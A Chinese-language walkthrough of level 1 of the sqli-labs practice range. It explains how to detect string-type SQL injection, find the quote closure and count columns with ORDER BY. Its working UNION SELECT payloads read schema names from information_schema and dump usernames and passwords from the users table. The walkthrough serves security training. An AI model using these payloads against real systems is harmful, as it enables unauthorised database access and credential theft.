sql-labs靶场 less-1

---

sqli-labs靶场

每道题都从以下模板讲解，并且每个步骤都有图片，清晰明了，便于复盘。

sql注入的基本步骤

• 注入点
• 注入类型
  • 字符型：判断闭合方式 （‘、"、’'、“”）
  • 数字型
• 根据实际情况，选择合适的注入方式
• 获取数据库名，表名，列名，数据

---

less 1 联合注入

• 题目类型: 字符型 '（单引号） 闭合
• 先判断注入类型

id=1
回显正常

id=1/0
回显内容和 id=1 一样，说明1/0没报错，不是数字型注入，那就是字符型 （或者用id=1与id=2-1 / id=2/2）

• 判断闭合方式

已知是字符型注入
id=1’
sql语法报错，说明大概率是单引号闭合

id=1’ ’
回显正常

id=1’ ’ ’
sql语法报错

id=1’ ’ ’ ’
4个单引号，回显正常，呈规律性变化，说明闭合方式是单引号

• 数据有回显，可利用联合注入，需判断字段数，回显位

id=1’ order by 4 --+
报错：表中没有列名为‘4’的字段 （说明不存在第4列）
为什么使用order by判断字段数？ 因为order by的作用是对某一列排序，如果报错，说明不存在此列
例如（id,username,password）
order by username 等同于 order by 2 （表示对第二列字段名为username排序 ）

id=1’ order by 3 --+
回显正常，说明该表的字段数为3列 （因为第4列不存在，所以该表的字段数为3）

• 使用联合注入，需判断回显位

id=1’ union select 1,2,3–+
为什么没有回显1,2,3？

id=-1’ union select 1,2,3–+
联合注入后，返回的结果有多行，但是该页面只回显第一行，所以id = -1 让第一行数据不存在，变向把原本处于第二行的数据移动到第一行 （或者 id=’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+ ）
并且可以看到回显位是第2,3列

id=’ union select 1,database(),user()–+
猜解数据库名

• 初始化安装mysql数据库后， 会默认创建4个系统数据库：
  

id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=“security” --+
通过系统数据库information_schema猜解表名

id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” --+
猜解字段名

id=-1’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+
爆出数据